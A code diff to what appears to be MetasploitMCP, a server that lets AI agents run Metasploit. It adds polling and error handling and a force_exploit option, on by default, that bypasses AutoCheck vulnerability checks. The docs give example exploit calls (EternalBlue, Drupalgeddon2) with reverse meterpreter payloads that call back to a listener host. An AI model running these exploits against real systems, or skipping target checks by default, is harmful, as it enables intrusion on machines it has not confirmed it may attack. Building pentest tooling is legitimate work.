diff --git a/MetasploitMCP.py b/MetasploitMCP.py index e1419ec..03eb739 100644 --- a/MetasploitMCP.py +++ b/MetasploitMCP.py @@ -346,9 +346,11 @@ def _classify_payload_stage(payload_name: str) -> str: LONG_CONSOLE_READ_TIMEOUT = 60 # For commands like run/exploit/check SESSION_COMMAND_TIMEOUT = 60 # Default hard timeout for commands within sessions SESSION_READ_INACTIVITY_TIMEOUT = 15 # Timeout if no data from session -DEFAULT_SESSION_INACTIVITY_TIMEOUT = 5 # Faster default for interactive session commands +DEFAULT_SESSION_INACTIVITY_TIMEOUT = 10 # Default inactivity wait for interactive session commands EXPLOIT_SESSION_POLL_TIMEOUT = 120 # Max time to wait for session after exploit job EXPLOIT_SESSION_POLL_INTERVAL = 3 # How often to check for session +UUID_MISSING_GRACE_POLLS = 3 # Consecutive missing polls before considering UUID lost +UUID_MISSING_GRACE_SECONDS = 6 # Minimum elapsed time before considering UUID lost MODULE_RESULT_POLL_TIMEOUT = 300 # Max time to wait for auxiliary/post module completion MODULE_RESULT_POLL_INTERVAL = 2 # How often to check module.running_stats RPC_CALL_TIMEOUT = 25 # Default timeout for RPC calls like listing modules @@ -356,8 +358,11 @@ def _classify_payload_stage(payload_name: str) -> str: # Regular Expressions for Prompt Detection MSF_PROMPT_RE = re.compile(rb'\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02') # Matches the msf6 > prompt with control chars -SHELL_PROMPT_RE = re.compile(r'([#$>]|%)\s*$') # Matches common shell prompts (#, $, >, %) at end of line +SHELL_PROMPT_RE = re.compile( + r'(?mi)^(?!\s*meterpreter\s*>\s*$)[^\n]*(?:[#$%]\s*|[^\s]>\s*)$' +) # Match common shell prompts, but avoid meterpreter prompt and bare ">" METERPRETER_PROMPT_RE = re.compile(r'meterpreter\s*>\s*$') +METERPRETER_ERROR_RE = re.compile(r'(?m)^\s*\[-\]\s+.+$') MODULE_COMPLETE_RE = re.compile(rb'.*module execution completed$', re.DOTALL | re.MULTILINE) # Regular Expressions for Vulnerability Detection @@ -651,7 +656,7 @@ async def get_msf_console() -> MsfConsole: console_object = await asyncio.to_thread(lambda: client.consoles.console()) # Get ID using .cid attribute - if isinstance(console_object, MsfConsole) and hasattr(console_object, 'cid'): + if hasattr(console_object, 'cid'): console_id_val = getattr(console_object, 'cid') console_id_str = str(console_id_val) if console_id_val is not None else None if not console_id_str: @@ -1498,6 +1503,39 @@ async def _set_module_options(module_obj: Any, options: Dict[str, Any], module_t raise ValueError(error_msg) +async def _get_module_error_from_events(client: Any, uuid_str: str) -> Optional[str]: + """Query db.events for a module_error event matching the given module UUID.""" + try: + events_response = await asyncio.to_thread(lambda: client.call('db.events', [{}])) + if not isinstance(events_response, dict): + return None + + events = events_response.get('events', []) + if not isinstance(events, list): + return None + + for event in reversed(events): + if not isinstance(event, dict): + continue + if event.get('name') != 'module_error': + continue + + info = event.get('info', {}) + if not isinstance(info, dict): + continue + if str(info.get('module_uuid')) != uuid_str: + continue + + exception_value = info.get('exception') + if exception_value is None: + return None + return exception_value if isinstance(exception_value, str) else str(exception_value) + except Exception as e: + logger.debug(f"Failed to query module_error from db.events for UUID {uuid_str}: {e}") + return None + + return None + async def _execute_module_rpc( module_type: str, module_name: str, # Can be full path or base name @@ -1602,8 +1640,10 @@ async def _execute_module_rpc( if module_type == 'exploit' and uuid and not is_handler_module: start_time = asyncio.get_event_loop().time() + uuid_str = str(uuid) logger.info(f"Exploit job {job_id} (UUID: {uuid}) started. Polling for session (timeout: {EXPLOIT_SESSION_POLL_TIMEOUT}s)...") poll_count = 0 + missing_uuid_polls = 0 while (asyncio.get_event_loop().time() - start_time) < EXPLOIT_SESSION_POLL_TIMEOUT: poll_count += 1 elapsed = asyncio.get_event_loop().time() - start_time @@ -1652,7 +1692,7 @@ async def _execute_module_rpc( for s_id, s_info in sessions_list.items(): # Ensure comparison is robust (uuid might be str or bytes, info dict keys too) s_id_str = str(s_id) - if isinstance(s_info, dict) and str(s_info.get('exploit_uuid')) == str(uuid): + if isinstance(s_info, dict) and str(s_info.get('exploit_uuid')) == uuid_str: found_session_id = s_id # Keep original type from list keys logger.info(f"Found matching session {found_session_id} for job {job_id} (UUID: {uuid}) after {int(elapsed)}s and {poll_count} checks") break # Exit inner loop @@ -1660,6 +1700,100 @@ async def _execute_module_rpc( if found_session_id is not None: break # Exit outer loop + # Detect completed/failed exploit jobs quickly by observing module running stats. + # This avoids waiting the full timeout when AutoCheck aborts immediately. + running_stats = await asyncio.to_thread(lambda: client.call('module.running_stats')) + if isinstance(running_stats, dict): + results_list = running_stats.get('results', []) + running_list = running_stats.get('running', []) + waiting_list = running_stats.get('waiting', []) + uuid_present = ( + uuid_str in running_list + or uuid_str in waiting_list + or uuid_str in results_list + ) + + if uuid_str in results_list: + missing_uuid_polls = 0 + error_detail = await _get_module_error_from_events(client, uuid_str) + if error_detail: + logger.error( + "Exploit job %s (UUID: %s) completed with module_error: %s", + job_id, + uuid, + error_detail, + ) + return { + "status": "error", + "message": f"Exploit job {job_id} failed: {error_detail}", + "job_id": job_id, + "uuid": uuid, + "job_error": str(error_detail), + "session_id": None, + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, + "payload_options": payload_options_for_log, + "exploit_error": str(error_detail), + } + + logger.warning( + "Exploit job %s (UUID: %s) completed without session; allowing grace check.", + job_id, + uuid, + ) + await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL * 2) + sessions_list = await asyncio.to_thread(lambda: client.sessions.list) + for s_id, s_info in sessions_list.items(): + if isinstance(s_info, dict) and str(s_info.get('exploit_uuid')) == uuid_str: + found_session_id = s_id + logger.info( + "Found matching session %s for completed job %s (UUID: %s) during grace check.", + found_session_id, + job_id, + uuid, + ) + break + break + + if not uuid_present: + missing_uuid_polls += 1 + logger.debug( + "UUID %s missing from module.running_stats (poll=%s, elapsed=%.1fs); checking db.events for failure.", + uuid_str, + missing_uuid_polls, + elapsed, + ) + error_detail = await _get_module_error_from_events(client, uuid_str) + if error_detail: + return { + "status": "error", + "message": f"Exploit job {job_id} failed: {error_detail}", + "job_id": job_id, + "uuid": uuid, + "job_error": str(error_detail), + "session_id": None, + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, + "payload_options": payload_options_for_log, + "exploit_error": str(error_detail), + } + if ( + missing_uuid_polls >= UUID_MISSING_GRACE_POLLS + and elapsed >= UUID_MISSING_GRACE_SECONDS + ): + logger.warning( + "UUID %s missing from module.running_stats for %s polls over %.1fs; treating job %s as no longer trackable.", + uuid_str, + missing_uuid_polls, + elapsed, + job_id, + ) + break + else: + missing_uuid_polls = 0 + # Optional: Check if job died prematurely # job_info = await asyncio.to_thread(lambda: client.jobs.info(str(job_id))) # if not job_info or job_info.get('status') != 'running': @@ -1672,7 +1806,21 @@ async def _execute_module_rpc( await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL) if found_session_id is None: - logger.warning(f"Polling timeout ({EXPLOIT_SESSION_POLL_TIMEOUT}s) reached for job {job_id}, no matching session found after {poll_count} checks.") + elapsed_total = asyncio.get_event_loop().time() - start_time + if elapsed_total >= (EXPLOIT_SESSION_POLL_TIMEOUT - EXPLOIT_SESSION_POLL_INTERVAL): + logger.warning( + "Polling timeout (%ss) reached for job %s, no matching session found after %s checks.", + EXPLOIT_SESSION_POLL_TIMEOUT, + job_id, + poll_count, + ) + else: + logger.warning( + "Stopped polling early for job %s after %.1fs (%s checks), no matching session found.", + job_id, + elapsed_total, + poll_count, + ) elif is_handler_module: logger.info(f"Handler job {job_id} started successfully. No session polling needed - handler will wait for connections.") @@ -1752,6 +1900,8 @@ async def _execute_module_rpc( message += f" Session {found_session_id} created." else: message += " No session detected within timeout." + if not bool(module_options.get("ForceExploit", False)): + message += ' If AutoCheck blocked exploitation, retry with ForceExploit=true (or set force_exploit=True).' status = "warning" # Indicate job started but session didn't appear # If there's a job ID and a payload LPORT set, kill the job @@ -2585,6 +2735,18 @@ async def list_payloads(platform: str = "", arch: str = "", compatible_with: str # Module not found logger.warning(f"Exploit module '{compatible_with}' not found: {ve}") return [f"Error: Exploit module '{compatible_with}' not found. Please verify the module name using list_exploits."] + except AttributeError as attr_err: + logger.warning( + "Exploit module '%s' does not expose compatible payloads: %s", + compatible_with, + attr_err, + ) + return [ + ( + f"Error: Exploit module '{compatible_with}' does not expose compatible payloads. " + "Use list_payloads without compatible_with to enumerate all payloads." + ) + ] else: # Add timeout to prevent hanging on slow/unresponsive MSF server logger.debug(f"Calling client.modules.payloads with {RPC_CALL_TIMEOUT}s timeout...") @@ -3029,6 +3191,7 @@ async def run_exploit( payload_options: Optional[Union[Dict[str, Any], str]] = None, run_as_job: bool = True, check_vulnerability: bool = False, # New option + force_exploit: bool = True, timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT, # Used only if run_as_job=False (max: 120s) inactivity_timeout_seconds: int = SESSION_READ_INACTIVITY_TIMEOUT, ctx: Optional[Context] = None, @@ -3075,6 +3238,10 @@ async def run_exploit( AUTOMATICALLY creates the listener on the specified LHOST/LPORT. run_as_job: If False, run sync via console. If True, run async via RPC. check_vulnerability: If True, run module's 'check' action first (if available). + force_exploit: If True (default), automatically sets ForceExploit=true and + AutoCheck=false unless already provided in options. This avoids + AutoCheck aborting exploitation when check results are inconclusive. + Set False to preserve module defaults. timeout_seconds: Max time for synchronous run via console (max: 120s, values above are capped). inactivity_timeout_seconds: Max inactivity time for synchronous console output reads (max: 120s, values above are capped). @@ -3115,6 +3282,14 @@ async def run_exploit( except ValueError as e: return {"status": "error", "message": f"Invalid options format: {e}"} + if force_exploit: + if 'ForceExploit' not in parsed_options: + parsed_options['ForceExploit'] = True + logger.info("Auto-set ForceExploit=true for exploit execution.") + if 'AutoCheck' not in parsed_options: + parsed_options['AutoCheck'] = False + logger.info("Auto-set AutoCheck=false for exploit execution.") + # Parse payload options gracefully try: parsed_payload_options = _parse_options_gracefully(payload_options) @@ -3174,6 +3349,7 @@ async def run_exploit( logger.error(f"Invalid LPORT value '{lport_value}': {e}", exc_info=True) return {"status": "error", "message": f"Invalid LPORT value '{lport_value}': {e}"} + check_output_for_result = None if check_vulnerability: logger.info(f"Performing vulnerability check first for {module}...") try: @@ -3196,6 +3372,7 @@ async def run_exploit( f"Vulnerability check result: {check_result.get('status')} - {check_result.get('message')}" ) output = check_result.get("module_output", "") + check_output_for_result = output output_bytes = output.encode('utf-8', errors='replace') if FAILED_TO_LOAD_MODULE_RE.search(output_bytes): @@ -3225,19 +3402,32 @@ async def run_exploit( is_not_vulnerable = bool(IS_NOT_VULNERABLE_RE.search(output_bytes)) if check_result.get('status') == "errror": logger.warning(f"Error from metasploit: {check_result}") - return { - "status": "aborted", - "message": f"Check indicates a failure: {check_result.get('message')}", - "check_output": check_result.get("module_output"), - } + if force_exploit: + logger.warning( + "Check failed for %s (%s), but force_exploit=True so exploit execution will continue.", + module, + check_result.get('message'), + ) + else: + return { + "status": "aborted", + "message": f"Check indicates a failure: {check_result.get('message')}", + "check_output": check_result.get("module_output"), + } if is_not_vulnerable or (not is_vulnerable and check_result.get("status") == "error"): - logger.warning(f"Check indicates target is likely not vulnerable to {module}.") - return { - "status": "aborted", - "message": "Check indicates target not vulnerable. Exploit not attempted.", - "check_output": check_result.get("module_output"), - } + if force_exploit: + logger.warning( + "Check indicates target may not be vulnerable to %s, but force_exploit=True so exploit execution will continue.", + module, + ) + else: + logger.warning(f"Check indicates target is likely not vulnerable to {module}.") + return { + "status": "aborted", + "message": "Check indicates target not vulnerable. Exploit not attempted.", + "check_output": check_result.get("module_output"), + } if not is_vulnerable: logger.warning(f"Check result inconclusive for {module}. Proceeding with exploit attempt cautiously.") else: @@ -3327,6 +3517,8 @@ async def run_exploit( "Stageless payload selected for a webapp exploit. " "If target behavior is unstable, retry with a staged payload." ) + if check_output_for_result is not None: + result["check_output"] = check_output_for_result logger.info(f"Full outcome of exploit '{module}': {result}") @@ -3642,6 +3834,11 @@ async def _drive_meterpreter_command( read_interval = 0.1 command_start = asyncio.get_event_loop().time() last_data_time = command_start + total_chunks_read = 0 + total_bytes_read = 0 + + def _extract_meterpreter_errors(output: str) -> List[str]: + return [line.strip() for line in METERPRETER_ERROR_RE.findall(output)] while True: now = asyncio.get_event_loop().time() @@ -3656,30 +3853,72 @@ async def _drive_meterpreter_command( chunk = await asyncio.to_thread(lambda: session.read()) if chunk: + total_chunks_read += 1 + total_bytes_read += len(chunk) output_buffer += chunk last_data_time = now if METERPRETER_PROMPT_RE.search(output_buffer): + meterpreter_errors = _extract_meterpreter_errors(output_buffer) + if meterpreter_errors: + return { + "status": "error", + "message": "Meterpreter returned one or more error lines.", + "output": output_buffer, + "reason": "meterpreter_error", + "meterpreter_errors": meterpreter_errors, + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, + "elapsed_seconds": elapsed_time, + } return { "status": "success", "message": "Meterpreter command executed successfully.", "output": output_buffer, "reason": "prompt", + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, "elapsed_seconds": elapsed_time, } - elif (now - last_data_time) > inactivity_timeout_seconds and output_buffer: + elif (now - last_data_time) > inactivity_timeout_seconds: inactivity_duration = now - last_data_time logger.info( f"Meterpreter inactivity timeout ({inactivity_timeout_seconds}s) reached " f"for command '{command}' on session {session_id} after {elapsed_time:.1f}s " f"(inactive for {inactivity_duration:.1f}s)." ) + if not output_buffer: + return { + "status": "empty", + "message": "No command output observed before inactivity timeout.", + "output": "", + "reason": "no_output", + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, + "elapsed_seconds": elapsed_time, + } + + meterpreter_errors = _extract_meterpreter_errors(output_buffer) + if meterpreter_errors: + return { + "status": "error", + "message": "Meterpreter returned one or more error lines.", + "output": output_buffer, + "reason": "meterpreter_error", + "meterpreter_errors": meterpreter_errors, + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, + "elapsed_seconds": elapsed_time, + } + return { "status": "success", "message": "Meterpreter command likely completed (inactivity).", "output": output_buffer, "reason": "inactivity", + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, "elapsed_seconds": elapsed_time, } @@ -3687,6 +3926,9 @@ async def _drive_meterpreter_command( try: final_chunk = await asyncio.to_thread(lambda: session.read()) or "" + if final_chunk: + total_chunks_read += 1 + total_bytes_read += len(final_chunk) output_buffer += final_chunk except Exception as read_err: logger.warning( @@ -3694,11 +3936,15 @@ async def _drive_meterpreter_command( f"on session {session_id}: {read_err}" ) + meterpreter_errors = _extract_meterpreter_errors(output_buffer) return { "status": "timeout", "message": f"Meterpreter command timed out after {timeout_seconds} seconds.", "output": output_buffer, "reason": "timeout", + "meterpreter_errors": meterpreter_errors, + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, "elapsed_seconds": asyncio.get_event_loop().time() - command_start, } @@ -3728,6 +3974,8 @@ async def _drive_shell_command( "message": "Exit command sent to shell session.", "output": "(No output expected after exit)", "reason": "mode", + "chunks_read": 0, + "bytes_read": 0, "elapsed_seconds": asyncio.get_event_loop().time() - command_start_time, } @@ -3736,6 +3984,7 @@ async def _drive_shell_command( last_data_time = start_time read_interval = 0.1 total_chunks_read = 0 + total_bytes_read = 0 progress_interval = 5 last_progress_time = start_time @@ -3763,6 +4012,9 @@ async def _drive_shell_command( "message": f"Shell command timed out after {timeout_seconds} seconds.", "output": output_buffer, "reason": "timeout", + "meterpreter_errors": [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)], + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, "elapsed_seconds": elapsed_time, } @@ -3770,6 +4022,7 @@ async def _drive_shell_command( if chunk: chunk_size = len(chunk) total_chunks_read += 1 + total_bytes_read += chunk_size output_buffer += chunk last_data_time = now @@ -3781,6 +4034,18 @@ async def _drive_shell_command( if SHELL_PROMPT_RE.search(output_buffer): command_duration = now - command_start_time + meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)] + if meterpreter_errors: + return { + "status": "error", + "message": "Shell command returned Meterpreter error output.", + "output": output_buffer, + "reason": "meterpreter_error", + "meterpreter_errors": meterpreter_errors, + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, + "elapsed_seconds": command_duration, + } logger.info( f"Detected shell prompt for command '{command}' after {command_duration:.1f}s. " "Command complete." @@ -3790,9 +4055,33 @@ async def _drive_shell_command( "message": "Shell command executed successfully.", "output": output_buffer, "reason": "prompt", + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, "elapsed_seconds": command_duration, } elif (now - last_data_time) > inactivity_timeout_seconds: + meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)] + if not output_buffer: + return { + "status": "empty", + "message": "No command output observed before inactivity timeout.", + "output": "", + "reason": "no_output", + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, + "elapsed_seconds": elapsed_time, + } + if meterpreter_errors: + return { + "status": "error", + "message": "Shell command returned Meterpreter error output.", + "output": output_buffer, + "reason": "meterpreter_error", + "meterpreter_errors": meterpreter_errors, + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, + "elapsed_seconds": elapsed_time, + } logger.debug( f"Shell inactivity timeout ({inactivity_timeout_seconds}s) reached " f"for command '{command}'. Assuming complete." @@ -3802,6 +4091,8 @@ async def _drive_shell_command( "message": "Shell command likely completed (inactivity).", "output": output_buffer, "reason": "inactivity", + "chunks_read": total_chunks_read, + "bytes_read": total_bytes_read, "elapsed_seconds": elapsed_time, } @@ -3820,6 +4111,8 @@ async def _drive_shell_command( ), "output": "(Error reading after exit, likely expected)", "reason": "mode", + "chunks_read": 0, + "bytes_read": 0, "elapsed_seconds": asyncio.get_event_loop().time() - command_start_time, } @@ -3829,6 +4122,9 @@ async def _drive_shell_command( "message": f"Error executing Shell command: {run_err}", "output": output_buffer, "reason": "error", + "meterpreter_errors": [line.strip() for line in METERPRETER_ERROR_RE.findall(output_buffer)], + "chunks_read": 0, + "bytes_read": len(output_buffer), "elapsed_seconds": asyncio.get_event_loop().time() - command_start_time, } @@ -3858,8 +4154,9 @@ async def send_session_command( ctx: MCP Context for progress reporting (optional, injected by FastMCP). Returns: - Dictionary with status ('success', 'error', 'timeout', 'busy'), raw command output, - elapsed_seconds, and completion reason. + Dictionary with status ('success', 'empty', 'error', 'timeout', 'busy'), raw command output, + elapsed_seconds, completion reason, read telemetry (chunks_read/bytes_read), + and any surfaced meterpreter_errors. A 'busy' status means another command is already running on this session — retry after a delay. """ # Cap timeout_seconds at MAX_TOOL_TIMEOUT_SECONDS (120s) @@ -3967,6 +4264,9 @@ async def send_session_command( message = "Command execution failed or type unknown." reason = "error" elapsed_seconds = 0.0 + chunks_read = 0 + bytes_read = 0 + meterpreter_errors: List[str] = [] if session_type == 'meterpreter': if session_shell_type.get(session_id_str) is None: @@ -3986,7 +4286,16 @@ async def send_session_command( timeout=timeout_seconds ) session_shell_type[session_id_str] = 'shell' - await asyncio.to_thread(lambda: session.read()) # Clear buffer + shell_preamble = await asyncio.to_thread(lambda: session.read()) or "" + if shell_preamble: + logger.debug( + "Captured shell entry preamble for session %s: %s", + session_id, + shell_preamble.strip(), + ) + output = f"{output}{shell_preamble}" + chunks_read = 1 + bytes_read = len(output) status = "success" message = "Session switched to shell mode." reason = "prompt" @@ -4037,6 +4346,9 @@ async def send_session_command( message = shell_result.get("message", "Shell command failed.") reason = shell_result.get("reason", "error") elapsed_seconds = shell_result.get("elapsed_seconds", 0.0) + chunks_read = shell_result.get("chunks_read", 0) + bytes_read = shell_result.get("bytes_read", len(output)) + meterpreter_errors = shell_result.get("meterpreter_errors", []) else: logger.debug(f"Executing standard Meterpreter command: {command}") meterpreter_result = await _drive_meterpreter_command( @@ -4051,6 +4363,9 @@ async def send_session_command( message = meterpreter_result.get("message", "Meterpreter command failed.") reason = meterpreter_result.get("reason", "error") elapsed_seconds = meterpreter_result.get("elapsed_seconds", 0.0) + chunks_read = meterpreter_result.get("chunks_read", 0) + bytes_read = meterpreter_result.get("bytes_read", len(output)) + meterpreter_errors = meterpreter_result.get("meterpreter_errors", []) if elapsed_seconds <= 0: elapsed_seconds = asyncio.get_event_loop().time() - command_start_time @@ -4067,6 +4382,8 @@ async def send_session_command( logger.warning(f"Command '{command}' timed out on Meterpreter session {session_id}") try: output = await asyncio.to_thread(lambda: session.read()) or "" + bytes_read = len(output) + meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output)] except Exception as read_err: logger.warning(f"Final Meterpreter read failed after timeout on session {session_id}: {read_err}") except (MsfRpcError, Exception) as run_err: @@ -4076,6 +4393,8 @@ async def send_session_command( elapsed_seconds = asyncio.get_event_loop().time() - command_start_time try: output = await asyncio.to_thread(lambda: session.read()) or "" + bytes_read = len(output) + meterpreter_errors = [line.strip() for line in METERPRETER_ERROR_RE.findall(output)] except Exception as read_err: logger.warning(f"Final Meterpreter read failed after error on session {session_id}: {read_err}") @@ -4094,6 +4413,9 @@ async def send_session_command( message = shell_result.get("message", "Shell command failed.") reason = shell_result.get("reason", "error") elapsed_seconds = shell_result.get("elapsed_seconds", 0.0) + chunks_read = shell_result.get("chunks_read", 0) + bytes_read = shell_result.get("bytes_read", len(output)) + meterpreter_errors = shell_result.get("meterpreter_errors", []) else: # Unknown session type logger.warning(f"Cannot execute command: Unknown session type '{session_type}' for session {session_id}") @@ -4113,6 +4435,9 @@ async def send_session_command( "output": output, "reason": reason, "elapsed_seconds": elapsed_seconds, + "chunks_read": chunks_read, + "bytes_read": bytes_read, + "meterpreter_errors": meterpreter_errors, } except MsfRpcError as e: diff --git a/docs/API.md b/docs/API.md index fa7d1c8..91e8ad3 100644 --- a/docs/API.md +++ b/docs/API.md @@ -33,12 +33,13 @@ List available Metasploit exploit modules with optional filtering. Execute a Metasploit exploit module. **Parameters:** -- `module_name` (string): Exploit module name (e.g., "windows/smb/ms17_010_eternalblue") +- `module` (string): Exploit module name (e.g., "exploit/windows/smb/ms17_010_eternalblue") - `options` (dict/string): Module options (e.g., {"RHOSTS": "192.168.1.100"}) -- `payload_name` (optional, string): Payload to use +- `payload` (optional, string): Payload to use - `payload_options` (optional, dict/string): Payload-specific options -- `run_as_job` (optional, bool): Run as background job (default: false) +- `run_as_job` (optional, bool): Run as background job (default: true) - `check_vulnerability` (optional, bool): Check if target is vulnerable first (default: false) +- `force_exploit` (optional, bool): Force exploitation past inconclusive checks (default: true) - `timeout_seconds` (optional, int): Timeout for exploit execution (default: 60) **Returns:** @@ -65,15 +66,15 @@ List available Metasploit payload modules with optional filtering. Generate a Metasploit payload. **Parameters:** -- `payload_type` (string): Payload type (e.g., "windows/meterpreter/reverse_tcp") -- `format_type` (string): Output format ("raw", "exe", "python", etc.) +- `payload` (string): Payload type (e.g., "windows/meterpreter/reverse_tcp") +- `format` (string): Output format ("raw", "exe", "python", etc.) - `options` (dict/string): Payload options (e.g., {"LHOST": "192.168.1.100", "LPORT": 4444}) - `encoder` (optional, string): Encoder to use - `iterations` (optional, int): Encoding iterations - `bad_chars` (optional, string): Bad characters to avoid - `output_filename` (optional, string): Desired filename -- `reverse_listener_bind_address` (optional, string): Bind address (defaults to 0.0.0.0) -- `reverse_listener_bind_port` (optional, int): Bind port (defaults to LPORT) +- `reverselistenerbindaddress` (optional, string): Bind address (defaults to 0.0.0.0) +- `reverselistenerbindport` (optional, int): Bind port (defaults to LPORT) **Returns:** - `status`: "success" or "error" @@ -120,13 +121,13 @@ Terminate an active session. Start a new Metasploit handler (listener) as a background job. **Parameters:** -- `payload_type` (string): Payload to handle (e.g., "windows/meterpreter/reverse_tcp") +- `payload` (string): Payload to handle (e.g., "windows/meterpreter/reverse_tcp") - `lhost` (string): Listener host address (what target connects to) - `lport` (int): Listener port (1-65535) - `additional_options` (optional, dict/string): Additional payload options - `exit_on_session` (optional, bool): Exit handler after first session (default: false) -- `reverse_listener_bind_address` (optional, string): Bind address (defaults to 0.0.0.0) -- `reverse_listener_bind_port` (optional, int): Bind port (defaults to lport) +- `reverselistenerbindaddress` (optional, string): Bind address (defaults to 0.0.0.0) +- `reverselistenerbindport` (optional, int): Bind port (defaults to lport) **Returns:** - `status`: "success" or "error" @@ -190,10 +191,10 @@ Common error scenarios: { "tool": "start_listener", "arguments": { - "payload_type": "windows/meterpreter/reverse_tcp", + "payload": "windows/meterpreter/reverse_tcp", "lhost": "192.168.1.100", "lport": 4444, - "reverse_listener_bind_address": "0.0.0.0" + "reverselistenerbindaddress": "0.0.0.0" } } ``` @@ -204,12 +205,12 @@ Common error scenarios: { "tool": "run_exploit", "arguments": { - "module_name": "windows/smb/ms17_010_eternalblue", + "module": "windows/smb/ms17_010_eternalblue", "options": { "RHOSTS": "192.168.1.50", "RPORT": 445 }, - "payload_name": "windows/x64/meterpreter/reverse_tcp", + "payload": "windows/x64/meterpreter/reverse_tcp", "payload_options": { "LHOST": "192.168.1.100", "LPORT": 4444 @@ -225,8 +226,8 @@ Common error scenarios: { "tool": "generate_payload", "arguments": { - "payload_type": "windows/meterpreter/reverse_tcp", - "format_type": "exe", + "payload": "windows/meterpreter/reverse_tcp", + "format": "exe", "options": { "LHOST": "192.168.1.100", "LPORT": 4444 diff --git a/docs/INTELLIGENT_ERROR_DETECTION.md b/docs/INTELLIGENT_ERROR_DETECTION.md index d7a256b..57c087c 100644 --- a/docs/INTELLIGENT_ERROR_DETECTION.md +++ b/docs/INTELLIGENT_ERROR_DETECTION.md @@ -6,6 +6,29 @@ MetasploitMCP now automatically detects when **payload options** (like `LHOST`, ## 🔍 Problem This Solves +### AutoCheck Silent Abort + +Metasploit modules frequently run `AutoCheck` before exploitation. For targets +that return ambiguous responses (common for web apps), the check can be +inconclusive and the exploit aborts with: + +``` +Cannot reliably check exploitability. "set ForceExploit true" to override check result. +``` + +MetasploitMCP now supports `force_exploit` in `run_exploit` to bypass this +gate when you intend to execute: + +```python +await run_exploit( + module="exploit/unix/webapp/drupal_drupalgeddon2", + options={"RHOSTS": "192.168.1.50", "TARGETURI": "/"}, + payload="php/meterpreter/reverse_tcp", + payload_options={"LHOST": "192.168.1.10", "LPORT": 4444}, + force_exploit=True, +) +``` + ### The Issue When running exploits with `run_as_job=True` (RPC mode), Metasploit is stricter about option validation than console mode. A common mistake is passing payload options like `LHOST` and `LPORT` as module options: @@ -13,14 +36,14 @@ When running exploits with `run_as_job=True` (RPC mode), Metasploit is stricter ```python # ❌ WRONG: Payload options in module options await run_exploit( - module_name='exploit/unix/irc/unreal_ircd_3281_backdoor', + module='exploit/unix/irc/unreal_ircd_3281_backdoor', options={ 'RHOSTS': '10.0.2.15', 'RPORT': '6697', 'LHOST': '10.0.0.1', # ❌ This is a PAYLOAD option, not module option! 'LPORT': 4444 # ❌ This is a PAYLOAD option, not module option! }, - payload_name='cmd/unix/reverse' + payload='cmd/unix/reverse' ) ``` @@ -46,15 +69,15 @@ These options belong to the PAYLOAD, not the exploit module 'exploit/unix/irc/un Example: ✗ WRONG: run_exploit( - module_name='exploit/unix/irc/unreal_ircd_3281_backdoor', + module='exploit/unix/irc/unreal_ircd_3281_backdoor', options={'RHOSTS': '...', 'LHOST': '...', 'LPORT': ...}, # ❌ LHOST/LPORT here - payload_name='...') + payload='...') ✓ CORRECT: run_exploit( - module_name='exploit/unix/irc/unreal_ircd_3281_backdoor', + module='exploit/unix/irc/unreal_ircd_3281_backdoor', options={'RHOSTS': '...', 'RPORT': ...}, # ✅ Module options only - payload_name='...', + payload='...', payload_options={'LHOST': '...', 'LPORT': ...}) # ✅ Payload options separate ``` @@ -98,7 +121,7 @@ If you try to set `LHOST` on the module, MetasploitMCP: ```python await run_exploit( - module_name='exploit/unix/ftp/proftpd_modcopy_exec', + module='exploit/unix/ftp/proftpd_modcopy_exec', options={ 'RHOSTS': '10.0.2.15', 'RPORT': '80', @@ -106,7 +129,7 @@ await run_exploit( 'SITEPATH': '/var/www/html/', 'TMPPATH': '/tmp' }, - payload_name='cmd/unix/reverse_perl', + payload='cmd/unix/reverse_perl', payload_options={ 'LHOST': '10.0.0.1', 'LPORT': 4444 @@ -118,12 +141,12 @@ await run_exploit( ```python await run_exploit( - module_name='exploit/windows/smb/ms17_010_eternalblue', + module='exploit/windows/smb/ms17_010_eternalblue', options={ 'RHOSTS': '192.168.1.10', 'RPORT': 445 }, - payload_name='windows/x64/meterpreter/reverse_tcp', + payload='windows/x64/meterpreter/reverse_tcp', payload_options={ 'LHOST': '192.168.1.5', 'LPORT': 4444, diff --git a/docs/PORT_AVAILABILITY_CHECK.md b/docs/PORT_AVAILABILITY_CHECK.md index fd33deb..41dff9c 100644 --- a/docs/PORT_AVAILABILITY_CHECK.md +++ b/docs/PORT_AVAILABILITY_CHECK.md @@ -50,7 +50,7 @@ When starting a standalone listener (for generated payloads or persistent handle ```python result = await start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="10.0.0.1", lport=4444 # Port is checked before binding ) @@ -70,9 +70,9 @@ When running exploits with reverse payloads: ```python result = await run_exploit( - module_name="exploit/unix/ftp/proftpd_modcopy_exec", + module="exploit/unix/ftp/proftpd_modcopy_exec", options={"RHOSTS": "192.168.1.100"}, - payload_name="cmd/unix/reverse_perl", + payload="cmd/unix/reverse_perl", payload_options={"LHOST": "10.0.0.1", "LPORT": 4444} # Port is checked ) ``` @@ -91,8 +91,8 @@ When generating payloads (non-blocking, just a warning): ```python result = await generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options={"LHOST": "10.0.0.1", "LPORT": 4444} # Port is checked ) ``` @@ -112,11 +112,11 @@ The check respects the `ReverseListenerBindAddress` and `ReverseListenerBindPort ```python # Example: Check port 8080 on localhost 